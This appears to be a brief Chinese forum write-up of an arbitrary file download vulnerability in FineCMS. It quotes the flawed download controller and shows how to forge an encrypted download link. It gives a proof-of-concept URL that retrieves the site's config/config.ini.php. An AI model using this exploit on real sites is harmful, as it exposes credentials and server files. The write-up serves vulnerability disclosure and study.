Finecms 任意文件下载
漏洞文件：\controllers\ApiController.php Line 54public function downAction() {
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
$file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
if (empty($file)) {
$this->msg(lang('a-mod-213'));
}
if (strpos($file, ':/')) {
//远程
header("Location: $file");
} else {
//本地
$file = str_replace('..', '', $file);
$file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;
if (!is_file($file)) {
$this->msg(lang('a-mod-214') . '(#' . $file . ')');
};
header('Pragma: public');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-length: ' . sprintf("%u", filesize($file)));
readfile($file);
exit;
}
}$file 可控。前台的链接如图：
并不用去分析如何加密得来的
我们来看链接是怎么生成的
找到/extensions/function.php Line 285function downfile($url) {
return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
}$url 参数为文件路径
我们本地直接调用这个函数 将我们想下载的文件路径作为参数就能得到下载链接
http://127.0.0.1//index.php?c=api&a=down&file=NDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQNDgwNTA0M2RFRXRkc1ZTaGNuczJBSjZTSk9KSDVTYnFqL251K0lNRjBQK0tla0FBTVpHM3dLbU8yVTNWaE1SYTRtRXRjUlQ3bDd4cGRQeVRKMGVlcDEvQjNRVlA4bTNnMi9SZDRDSjBOUQ 为/config/config.ini.php
页:
[1]